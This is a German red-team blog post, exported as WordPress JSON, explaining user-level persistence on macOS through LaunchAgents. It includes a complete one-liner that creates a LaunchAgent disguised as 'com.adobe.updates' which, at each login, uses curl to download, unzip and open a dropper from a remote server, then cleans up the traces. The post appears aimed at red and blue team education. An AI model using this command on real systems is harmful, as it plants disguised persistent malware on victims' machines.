{"id":10084,"date":"2026-03-26T10:47:35","date_gmt":"2026-03-26T09:47:35","guid":{"rendered":"https:\/\/hansesecure.de\/?p=10084"},"modified":"2026-03-26T10:47:35","modified_gmt":"2026-03-26T09:47:35","slug":"user-level-persistence-auf-macos-via-launchagents","status":"publish","type":"post","link":"https:\/\/hansesecure.de\/en\/2026\/03\/user-level-persistence-auf-macos-via-launchagents\/","title":{"rendered":"User-Level Persistence auf macOS via LaunchAgents"},"content":{"rendered":"\n<p>W\u00e4hrend Windows-Persistence-Techniken umfassend dokumentiert, analysiert und in nahezu jedem Red-Team-Guide oder Kurs behandelt werden, sieht die Lage im macOS-Umfeld deutlich karger aus.<\/p>\n\n\n\n<p>Viele Blogposts beschreiben einzelne Mechanismen oberfl\u00e4chlich oder listen nur Persistence-M\u00f6glichkeiten f\u00fcr die jedoch Root-Zugriff erforderlich ist, dieser ist nach einer initialen Kompromittierung in der Regel jedoch nicht vorhanden.<\/p>\n\n\n\n<p>LaunchAgents stellen hierbei eine der wenigen nativen macOS-Mechanismen dar, die:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>ohne Root-Rechte implementiert werden k\u00f6nnen,<\/li>\n\n\n\n<li>systemseitig legitim sind,<\/li>\n\n\n\n<li>keinen Exploit oder Kernel-Zugriff ben\u00f6tigen,<\/li>\n\n\n\n<li>und dennoch Reboots \u00fcberstehen.<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">Was sind LaunchAgents<\/h2>\n\n\n\n<p>Mit macOS 10.4 wurde der Init-Prozess des Systems durch launchd abgel\u00f6st. Anders als andere UNIX Systeme, die mehrere Mechanismen wie cron, inetd oder xinetd nutzen, fasst macOS diese Aufgaben in einem einzigen Prozess zusammen (dennoch w\u00e4re cron, der trotzdem auf mac vorhanden ist, eine weitere M\u00f6glichkeit f\u00fcr Persistence &#8211; leider jedoch nicht ohne Nutzerinteraktion).<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img fetchpriority=\"high\" decoding=\"async\" width=\"1698\" height=\"955\" src=\"https:\/\/hansesecure.de\/wp-content\/uploads\/2026\/03\/03-03-2026_15-40-34.png\" alt=\"\" class=\"wp-image-10091\" srcset=\"https:\/\/hansesecure.de\/wp-content\/uploads\/2026\/03\/03-03-2026_15-40-34.png 1698w, https:\/\/hansesecure.de\/wp-content\/uploads\/2026\/03\/03-03-2026_15-40-34-300x169.png 300w, https:\/\/hansesecure.de\/wp-content\/uploads\/2026\/03\/03-03-2026_15-40-34-1024x576.png 1024w, https:\/\/hansesecure.de\/wp-content\/uploads\/2026\/03\/03-03-2026_15-40-34-768x432.png 768w, https:\/\/hansesecure.de\/wp-content\/uploads\/2026\/03\/03-03-2026_15-40-34-1536x864.png 1536w\" sizes=\"(max-width: 1698px) 100vw, 1698px\" \/><figcaption class=\"wp-element-caption\">(Beispiel cron)<\/figcaption><\/figure>\n\n\n\n<p>Ein zentraler Bestandteil dieses Mechanismus sind sogenannte LaunchAgents. Dabei handelt es sich um benutzerspezifische Konfigurationsdateien, \u00fcber die Programme automatisiert gestartet werden k\u00f6nnen.<\/p>\n\n\n\n<p>Sobald ein Benutzer sich anmeldet, wird eine eigene launchd-Instanz im User-Kontext gestartet. Diese Instanz l\u00e4dt anschlie\u00dfend alle konfigurierten LaunchAgents aus den entsprechenden Verzeichnissen.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">LaunchAgents Architektur<\/h2>\n\n\n\n<p>LaunchAgents sind Property-List-Dateien (plist), die im XML-Format definiert werden. Die Listen enthalten Konfigurationsparameter, anhand derer launchd dann entscheidet, wann und wie ein bestimmtes Programm ausgef\u00fchrt wird.<\/p>\n\n\n\n<p>Unterschieden wird hier zwischen zwei Verzeichnissen.<\/p>\n\n\n\n<p>Der Ordner &#8211; mit dem auch wir uns im Zuge des Blogposts befassen &#8211; \u201e~\/Library\/LaunchAgents\/\u201c kann ausschlie\u00dflich f\u00fcr einen Nutzer in dessen Kontext ein solches plist item anlegen.<\/p>\n\n\n\n<p>Dahingegen kann \u00fcber \u201e\/Library\/LaunchAgents\/\u201c Systemweit ein plist item angelegt werden das dann f\u00fcr alle Nutzer gilt. F\u00fcr das Anlegen des Items werden jedoch Root-Rechte ben\u00f6tigt.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Interne Struktur eines LaunchAgents<\/h2>\n\n\n\n<p>Ein LaunchAgent besteht aus einer XML-Definition mit Schl\u00fcssel-Wert-Paaren. Technisch interessant ist dabei weniger das Format, sondern die semantische Bedeutung einzelner Keys, die bestimmen, wann und wie launchd einen Job ausf\u00fchrt.<\/p>\n\n\n\n<p>Wichtige Parameter sind unter anderem:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Label<\/strong>:\n<ul class=\"wp-block-list\">\n<li>Eindeutige Identifikation des Jobs innerhalb von launchd, die von launchd zur internen Zuordnung und Verwaltung des Jobs verwendet wird. Der Wert ist hierbei ein frei w\u00e4hlbarer String und wird konventionell im Reverse-DNS-Format gehalten, weshalb ein Label wie com.apple.softwareupdate oder com.microsoft.OneDrive bei einer Inspektion kaum auff\u00e4llt.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>ProgramArguments<\/strong>:\n<ul class=\"wp-block-list\">\n<li>Array, dessen erster Eintrag immer der vollst\u00e4ndige Pfad zur ausf\u00fchrbaren Datei ist, alle weiteren Eintr\u00e4ge werden als Argumente \u00fcbergeben. Ein typisches Beispiel w\u00e4re \/bin\/bash als erstes Element und -c sowie das eigentliche Kommando als Folgeeintr\u00e4ge.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>RunAtLoad<\/strong>:\n<ul class=\"wp-block-list\">\n<li>Boolean, der den Job unmittelbar beim Laden der plist triggert, z.B. beim Login des Nutzers oder nach manuellem launchctl load.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>StartInterval<\/strong>:\n<ul class=\"wp-block-list\">\n<li>Integer-Wert in Sekunden f\u00fcr periodische Ausf\u00fchrung. Ein Wert von 300 f\u00fchrt den Job alle f\u00fcnf Minuten aus. Kombiniert mit RunAtLoad startet der Job beim Login und wiederholt sich anschlie\u00dfend im definierten Intervall.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>KeepAlive<\/strong>:\n<ul class=\"wp-block-list\">\n<li>Boolean-Wert, der angibt, ob der Job automatisch erneut gestartet wird. Bei true startet launchd den Prozess automatisch neu, sobald er beendet wird. Das passiert unabh\u00e4ngig davon, ob der Prozess abst\u00fcrzt, vom Nutzer beendet oder durch ein externes Signal beendet wurde. Eine Entfernung ohne vorheriges launchctl unload ist damit weitgehend wirkungslos.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>StandardOutPath \/ StandardErrorPath<\/strong>:\n<ul class=\"wp-block-list\">\n<li>Definieren Pfade f\u00fcr stdout und stderr des Jobs, etwa \/tmp\/.update.log. N\u00fctzlich beim Debugging eigener Implants, hinterlassen jedoch Artefakte auf der Festplatte.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">Persistence nach Initial Access<\/h2>\n\n\n\n<p>Nach erfolgreichem Initial Access, beispielsweise \u00fcber einen als .app, oder .pkg getarnten Dropper, steht ein Angreifer typischerweise vor mehreren Optionen f\u00fcr Persistence.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" width=\"1024\" height=\"505\" src=\"https:\/\/hansesecure.de\/wp-content\/uploads\/2026\/03\/03-03-2026_15-44-41-1024x505.png\" alt=\"\" class=\"wp-image-10093\" srcset=\"https:\/\/hansesecure.de\/wp-content\/uploads\/2026\/03\/03-03-2026_15-44-41-1024x505.png 1024w, https:\/\/hansesecure.de\/wp-content\/uploads\/2026\/03\/03-03-2026_15-44-41-300x148.png 300w, https:\/\/hansesecure.de\/wp-content\/uploads\/2026\/03\/03-03-2026_15-44-41-768x379.png 768w, https:\/\/hansesecure.de\/wp-content\/uploads\/2026\/03\/03-03-2026_15-44-41-1536x757.png 1536w, https:\/\/hansesecure.de\/wp-content\/uploads\/2026\/03\/03-03-2026_15-44-41.png 1915w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Jedoch sind hier LaunchAgents besonders attraktiv, weil man f\u00fcr dieses wie bereits erl\u00e4utert, je nach Pfad, keine Root-Rechte braucht.<\/p>\n\n\n\n<p>Der operative Ablauf gliedert sich typischerweise in die folgenden logischen Komponenten:<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Platzierung des Payloads<\/h3>\n\n\n\n<p>Die ausf\u00fchrbare Datei, \u00fcber die der Access gehalten wird, wird in einem plausiblen Benutzerverzeichnis abgelegt, beispielsweise in \u201e~\/Library\/Application Support\/\u201c<\/p>\n\n\n\n<p>F\u00fcr unseren Fall nutzen wir jedoch den \u201e\/tmp\u201c Ordner, da dieser nach einem Reboot geleert wird, was f\u00fcr unseren Zweck jedoch irrelevant, da der Dropper beim n\u00e4chsten Login erneut heruntergeladen und ausgef\u00fchrt wird.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Registrierung \u00fcber LaunchAgent<\/h3>\n\n\n\n<p>Vor der Registrierung eines eigenen LaunchAgents empfiehlt es sich, zun\u00e4chst die bereits vorhandenen Eintr\u00e4ge im Zielverzeichnis zu pr\u00fcfen. Einerseits um bestehende, potenziell systemkritische Jobs nicht zu \u00fcberschreiben, andererseits um ein glaubw\u00fcrdiges Label zu w\u00e4hlen, der sich unauff\u00e4llig in das vorhandene Schema einf\u00fcgt.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" width=\"1024\" height=\"505\" src=\"https:\/\/hansesecure.de\/wp-content\/uploads\/2026\/03\/03-03-2026_16-19-45-1024x505.png\" alt=\"\" class=\"wp-image-10095\" srcset=\"https:\/\/hansesecure.de\/wp-content\/uploads\/2026\/03\/03-03-2026_16-19-45-1024x505.png 1024w, https:\/\/hansesecure.de\/wp-content\/uploads\/2026\/03\/03-03-2026_16-19-45-300x148.png 300w, https:\/\/hansesecure.de\/wp-content\/uploads\/2026\/03\/03-03-2026_16-19-45-768x378.png 768w, https:\/\/hansesecure.de\/wp-content\/uploads\/2026\/03\/03-03-2026_16-19-45-1536x757.png 1536w, https:\/\/hansesecure.de\/wp-content\/uploads\/2026\/03\/03-03-2026_16-19-45.png 1920w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Sowohl Adobe als auch Google sind auf dem System bereits als Pr\u00e4fix vertreten, was uns eine plausible Grundlage f\u00fcr die Benennung unseres eigenen Eintrags bietet. Wir entscheiden uns f\u00fcr com.adobe.updates \u2013 ein Label, das im Kontext der vorhandenen Adobe-Prozesse nicht weiter auff\u00e4llt.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Beispiel Payload<\/h3>\n\n\n\n<p>Wir erstellen nun eine plist, die beim Login des Nutzers automatisch ausgef\u00fchrt wird und unseren Dropper vom Angreifer-Server herunterl\u00e4dt, entpackt und startet. Der folgende Befehl legt das Verzeichnis an, schreibt die plist und registriert den Job in einem Schritt:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>mkdir -p ~\/Library\/LaunchAgents &amp;&amp; printf '%s\\n' \\ '&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt;' \\ '&lt;!DOCTYPE plist PUBLIC \"-\/\/Apple Computer\/\/DTD PLIST 1.0\/\/EN\" \"http:\/\/www.apple.com\/DTDs\/PropertyList-1.0.dtd\"&gt;' \\ '&lt;plist version=\"1.0\"&gt;&lt;dict&gt;' \\ ' &lt;key&gt;Label&lt;\/key&gt;&lt;string&gt;com.adobe.updates&lt;\/string&gt;' \\ ' &lt;key&gt;ProgramArguments&lt;\/key&gt;&lt;array&gt;' \\ ' &lt;string&gt;\/usr\/bin\/env&lt;\/string&gt;&lt;string&gt;bash&lt;\/string&gt;&lt;string&gt;-c&lt;\/string&gt;' \\ ' &lt;string&gt;cd \/tmp &amp;&amp; curl -fsSL https:\/\/example.hansesecure.com\/launchd.app.zip -o launchd.zip &amp;&amp; rm -rf launchd.app &amp;&amp; unzip -q -o launchd.zip &amp;&amp; rm launchd.zip &amp;&amp; open \/tmp\/launchd.app&lt;\/string&gt;' \\ ' &lt;\/array&gt;' \\ ' &lt;key&gt;RunAtLoad&lt;\/key&gt;&lt;true\/&gt;' \\ '&lt;\/dict&gt;&lt;\/plist&gt;' &gt; ~\/Library\/LaunchAgents\/com.adobe.updates.plist &amp;&amp; \\ launchctl unload -w ~\/Library\/LaunchAgents\/com.adobe.updates.plist 2&gt;\/dev\/null &amp;&amp; \\ launchctl load -w ~\/Library\/LaunchAgents\/com.adobe.updates.plist<\/code><\/pre>\n\n\n\n<p>Zun\u00e4chst stellt mkdir -p ~\/Library\/LaunchAgents sicher, dass das Zielverzeichnis existiert. Das -p-Flag verhindert dabei einen Fehler, falls das Verzeichnis bereits vorhanden ist.<\/p>\n\n\n\n<p>Anschlie\u00dfend wird \u00fcber printf die plist-Datei zusammengesetzt und direkt nach ~\/Library\/LaunchAgents\/com.adobe.updates.plist geschrieben. Gegen\u00fcber einem klassischen echo hat printf hier den Vorteil, dass Sonderzeichen und Zeilenumbr\u00fcche zuverl\u00e4ssiger verarbeitet werden.<\/p>\n\n\n\n<p>Innerhalb der plist definiert der ProgramArguments-Block den auszuf\u00fchrenden Befehl:<\/p>\n\n\n\n<p>\u00dcber curl wird der Dropper heruntergeladen, mit unzip entpackt und anschlie\u00dfend mittels open gestartet.<\/p>\n\n\n\n<p>Zwischenzeitlich angelegte Dateien wie das ZIP-Archiv werden unmittelbar nach der Verarbeitung wieder gel\u00f6scht, um die Anzahl der hinterlassenen Artefakte m\u00f6glichst gering zu halten.<\/p>\n\n\n\n<p>Im letzten Abschnitt wird die plist-Datei bei launchd registriert. Das vorherige unload dient dabei als Absicherung: Falls bereits ein Job mit dem Label com.adobe.updates existiert, wird dieser zun\u00e4chst sauber entfernt, bevor der neue Job \u00fcber load -w registriert wird.<\/p>\n\n\n\n<p>Das -w-Flag sorgt daf\u00fcr, dass der Job nicht nur geladen, sondern dauerhaft als aktiv markiert wird und somit auch nach einem Neustart des Systems bestehen bleibt.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Fazit<\/h2>\n\n\n\n<p>LaunchAgents stellen einen besonders attraktiven Persistence-Mechanismus unter macOS dar, da sie ohne Root-Rechte auskommen und gleichzeitig systemseitig legitim wirken. Durch ihre flexible Konfiguration und die tiefe Integration in launchd erm\u00f6glichen sie eine unauff\u00e4llige und robuste Aufrechterhaltung von Zugriff nach der initialen Kompromittierung. Entsprechend sollten sie sowohl von Red Teams gezielt genutzt als auch von Blue Teams verst\u00e4rkt \u00fcberwacht und gepr\u00fcft werden.<\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>W\u00e4hrend Windows-Persistence-Techniken umfassend dokumentiert, analysiert und in nahezu jedem Red-Team-Guide oder Kurs behandelt werden, sieht die Lage im macOS-Umfeld deutlich karger aus. Viele Blogposts beschreiben einzelne Mechanismen oberfl\u00e4chlich oder listen nur Persistence-M\u00f6glichkeiten f\u00fcr die jedoch Root-Zugriff erforderlich ist, dieser ist nach einer initialen Kompromittierung in der Regel jedoch nicht vorhanden. LaunchAgents stellen hierbei eine der [&hellip;]<\/p>\n","protected":false},"author":11,"featured_media":10085,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[239],"tags":[242],"class_list":["post-10084","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-deep-dive-techniken","tag-migration"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>User-Level Persistence auf macOS via LaunchAgents &#8211; HanseSecure GmbH<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/hansesecure.de\/en\/2026\/03\/user-level-persistence-auf-macos-via-launchagents\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"User-Level Persistence auf macOS via LaunchAgents &#8211; HanseSecure GmbH\" \/>\n<meta property=\"og:description\" content=\"W\u00e4hrend Windows-Persistence-Techniken umfassend dokumentiert, analysiert und in nahezu jedem Red-Team-Guide oder Kurs behandelt werden, sieht die Lage im macOS-Umfeld deutlich karger aus. Viele Blogposts beschreiben einzelne Mechanismen oberfl\u00e4chlich oder listen nur Persistence-M\u00f6glichkeiten f\u00fcr die jedoch Root-Zugriff erforderlich ist, dieser ist nach einer initialen Kompromittierung in der Regel jedoch nicht vorhanden. LaunchAgents stellen hierbei eine der [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/hansesecure.de\/en\/2026\/03\/user-level-persistence-auf-macos-via-launchagents\/\" \/>\n<meta property=\"og:site_name\" content=\"HanseSecure GmbH\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/facebook.com\/hansesecure\" \/>\n<meta property=\"article:published_time\" content=\"2026-03-26T09:47:35+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/hansesecure.de\/wp-content\/uploads\/2026\/03\/Bild1.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"992\" \/>\n\t<meta property=\"og:image:height\" content=\"1488\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"kugler\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@CyberWarship\" \/>\n<meta name=\"twitter:site\" content=\"@CyberWarship\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"kugler\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"7 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/hansesecure.de\\\/en\\\/2026\\\/03\\\/user-level-persistence-auf-macos-via-launchagents\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/hansesecure.de\\\/en\\\/2026\\\/03\\\/user-level-persistence-auf-macos-via-launchagents\\\/\"},\"author\":{\"name\":\"kugler\",\"@id\":\"https:\\\/\\\/hansesecure.de\\\/en\\\/#\\\/schema\\\/person\\\/e485fb697fb91ee48d82b2c3be35b809\"},\"headline\":\"User-Level Persistence auf macOS via LaunchAgents\",\"datePublished\":\"2026-03-26T09:47:35+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/hansesecure.de\\\/en\\\/2026\\\/03\\\/user-level-persistence-auf-macos-via-launchagents\\\/\"},\"wordCount\":1076,\"publisher\":{\"@id\":\"https:\\\/\\\/hansesecure.de\\\/en\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/hansesecure.de\\\/en\\\/2026\\\/03\\\/user-level-persistence-auf-macos-via-launchagents\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/hansesecure.de\\\/wp-content\\\/uploads\\\/2026\\\/03\\\/Bild1.jpg\",\"keywords\":[\"Migration\"],\"articleSection\":[\"Deep Dive Techniken\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/hansesecure.de\\\/en\\\/2026\\\/03\\\/user-level-persistence-auf-macos-via-launchagents\\\/\",\"url\":\"https:\\\/\\\/hansesecure.de\\\/en\\\/2026\\\/03\\\/user-level-persistence-auf-macos-via-launchagents\\\/\",\"name\":\"User-Level Persistence auf macOS via LaunchAgents &#8211; HanseSecure GmbH\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/hansesecure.de\\\/en\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/hansesecure.de\\\/en\\\/2026\\\/03\\\/user-level-persistence-auf-macos-via-launchagents\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/hansesecure.de\\\/en\\\/2026\\\/03\\\/user-level-persistence-auf-macos-via-launchagents\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/hansesecure.de\\\/wp-content\\\/uploads\\\/2026\\\/03\\\/Bild1.jpg\",\"datePublished\":\"2026-03-26T09:47:35+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/hansesecure.de\\\/en\\\/2026\\\/03\\\/user-level-persistence-auf-macos-via-launchagents\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/hansesecure.de\\\/en\\\/2026\\\/03\\\/user-level-persistence-auf-macos-via-launchagents\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/hansesecure.de\\\/en\\\/2026\\\/03\\\/user-level-persistence-auf-macos-via-launchagents\\\/#primaryimage\",\"url\":\"https:\\\/\\\/hansesecure.de\\\/wp-content\\\/uploads\\\/2026\\\/03\\\/Bild1.jpg\",\"contentUrl\":\"https:\\\/\\\/hansesecure.de\\\/wp-content\\\/uploads\\\/2026\\\/03\\\/Bild1.jpg\",\"width\":992,\"height\":1488},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/hansesecure.de\\\/en\\\/2026\\\/03\\\/user-level-persistence-auf-macos-via-launchagents\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Startseite\",\"item\":\"https:\\\/\\\/hansesecure.de\\\/en\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"User-Level Persistence auf macOS via LaunchAgents\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/hansesecure.de\\\/en\\\/#website\",\"url\":\"https:\\\/\\\/hansesecure.de\\\/en\\\/\",\"name\":\"HanseSecure GmbH\",\"description\":\"Choose the Intruder\",\"publisher\":{\"@id\":\"https:\\\/\\\/hansesecure.de\\\/en\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/hansesecure.de\\\/en\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/hansesecure.de\\\/en\\\/#organization\",\"name\":\"HanseSecure GmbH\",\"url\":\"https:\\\/\\\/hansesecure.de\\\/en\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/hansesecure.de\\\/en\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/hansesecure.de\\\/wp-content\\\/uploads\\\/2023\\\/05\\\/cropped-000-LOGO-intensiv-schwarz-rot-HanseSecure_LOGO_CTI_Vektor_rotes_H11806.png\",\"contentUrl\":\"https:\\\/\\\/hansesecure.de\\\/wp-content\\\/uploads\\\/2023\\\/05\\\/cropped-000-LOGO-intensiv-schwarz-rot-HanseSecure_LOGO_CTI_Vektor_rotes_H11806.png\",\"width\":512,\"height\":512,\"caption\":\"HanseSecure GmbH\"},\"image\":{\"@id\":\"https:\\\/\\\/hansesecure.de\\\/en\\\/#\\\/schema\\\/logo\\\/image\\\/\"},\"sameAs\":[\"https:\\\/\\\/facebook.com\\\/hansesecure\",\"https:\\\/\\\/x.com\\\/CyberWarship\",\"https:\\\/\\\/www.linkedin.com\\\/company\\\/hansesecure\",\"https:\\\/\\\/www.youtube.com\\\/channel\\\/UCAABbKOA_stDFkEKS3MSF7Q\",\"https:\\\/\\\/www.instagram.com\\\/hansesecure\\\/\"]},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/hansesecure.de\\\/en\\\/#\\\/schema\\\/person\\\/e485fb697fb91ee48d82b2c3be35b809\",\"name\":\"kugler\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/c14dc63c8a766345220311baf283bf40f5fcb5311c23ebc10b6e29802a5e5351?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/c14dc63c8a766345220311baf283bf40f5fcb5311c23ebc10b6e29802a5e5351?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/c14dc63c8a766345220311baf283bf40f5fcb5311c23ebc10b6e29802a5e5351?s=96&d=mm&r=g\",\"caption\":\"kugler\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"User-Level Persistence auf macOS via LaunchAgents &#8211; HanseSecure GmbH","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/hansesecure.de\/en\/2026\/03\/user-level-persistence-auf-macos-via-launchagents\/","og_locale":"en_US","og_type":"article","og_title":"User-Level Persistence auf macOS via LaunchAgents &#8211; HanseSecure GmbH","og_description":"W\u00e4hrend Windows-Persistence-Techniken umfassend dokumentiert, analysiert und in nahezu jedem Red-Team-Guide oder Kurs behandelt werden, sieht die Lage im macOS-Umfeld deutlich karger aus. Viele Blogposts beschreiben einzelne Mechanismen oberfl\u00e4chlich oder listen nur Persistence-M\u00f6glichkeiten f\u00fcr die jedoch Root-Zugriff erforderlich ist, dieser ist nach einer initialen Kompromittierung in der Regel jedoch nicht vorhanden. LaunchAgents stellen hierbei eine der [&hellip;]","og_url":"https:\/\/hansesecure.de\/en\/2026\/03\/user-level-persistence-auf-macos-via-launchagents\/","og_site_name":"HanseSecure GmbH","article_publisher":"https:\/\/facebook.com\/hansesecure","article_published_time":"2026-03-26T09:47:35+00:00","og_image":[{"width":992,"height":1488,"url":"https:\/\/hansesecure.de\/wp-content\/uploads\/2026\/03\/Bild1.jpg","type":"image\/jpeg"}],"author":"kugler","twitter_card":"summary_large_image","twitter_creator":"@CyberWarship","twitter_site":"@CyberWarship","twitter_misc":{"Written by":"kugler","Est. reading time":"7 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/hansesecure.de\/en\/2026\/03\/user-level-persistence-auf-macos-via-launchagents\/#article","isPartOf":{"@id":"https:\/\/hansesecure.de\/en\/2026\/03\/user-level-persistence-auf-macos-via-launchagents\/"},"author":{"name":"kugler","@id":"https:\/\/hansesecure.de\/en\/#\/schema\/person\/e485fb697fb91ee48d82b2c3be35b809"},"headline":"User-Level Persistence auf macOS via LaunchAgents","datePublished":"2026-03-26T09:47:35+00:00","mainEntityOfPage":{"@id":"https:\/\/hansesecure.de\/en\/2026\/03\/user-level-persistence-auf-macos-via-launchagents\/"},"wordCount":1076,"publisher":{"@id":"https:\/\/hansesecure.de\/en\/#organization"},"image":{"@id":"https:\/\/hansesecure.de\/en\/2026\/03\/user-level-persistence-auf-macos-via-launchagents\/#primaryimage"},"thumbnailUrl":"https:\/\/hansesecure.de\/wp-content\/uploads\/2026\/03\/Bild1.jpg","keywords":["Migration"],"articleSection":["Deep Dive Techniken"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/hansesecure.de\/en\/2026\/03\/user-level-persistence-auf-macos-via-launchagents\/","url":"https:\/\/hansesecure.de\/en\/2026\/03\/user-level-persistence-auf-macos-via-launchagents\/","name":"User-Level Persistence auf macOS via LaunchAgents &#8211; HanseSecure GmbH","isPartOf":{"@id":"https:\/\/hansesecure.de\/en\/#website"},"primaryImageOfPage":{"@id":"https:\/\/hansesecure.de\/en\/2026\/03\/user-level-persistence-auf-macos-via-launchagents\/#primaryimage"},"image":{"@id":"https:\/\/hansesecure.de\/en\/2026\/03\/user-level-persistence-auf-macos-via-launchagents\/#primaryimage"},"thumbnailUrl":"https:\/\/hansesecure.de\/wp-content\/uploads\/2026\/03\/Bild1.jpg","datePublished":"2026-03-26T09:47:35+00:00","breadcrumb":{"@id":"https:\/\/hansesecure.de\/en\/2026\/03\/user-level-persistence-auf-macos-via-launchagents\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/hansesecure.de\/en\/2026\/03\/user-level-persistence-auf-macos-via-launchagents\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/hansesecure.de\/en\/2026\/03\/user-level-persistence-auf-macos-via-launchagents\/#primaryimage","url":"https:\/\/hansesecure.de\/wp-content\/uploads\/2026\/03\/Bild1.jpg","contentUrl":"https:\/\/hansesecure.de\/wp-content\/uploads\/2026\/03\/Bild1.jpg","width":992,"height":1488},{"@type":"BreadcrumbList","@id":"https:\/\/hansesecure.de\/en\/2026\/03\/user-level-persistence-auf-macos-via-launchagents\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Startseite","item":"https:\/\/hansesecure.de\/en\/"},{"@type":"ListItem","position":2,"name":"User-Level Persistence auf macOS via LaunchAgents"}]},{"@type":"WebSite","@id":"https:\/\/hansesecure.de\/en\/#website","url":"https:\/\/hansesecure.de\/en\/","name":"HanseSecure GmbH","description":"Choose the 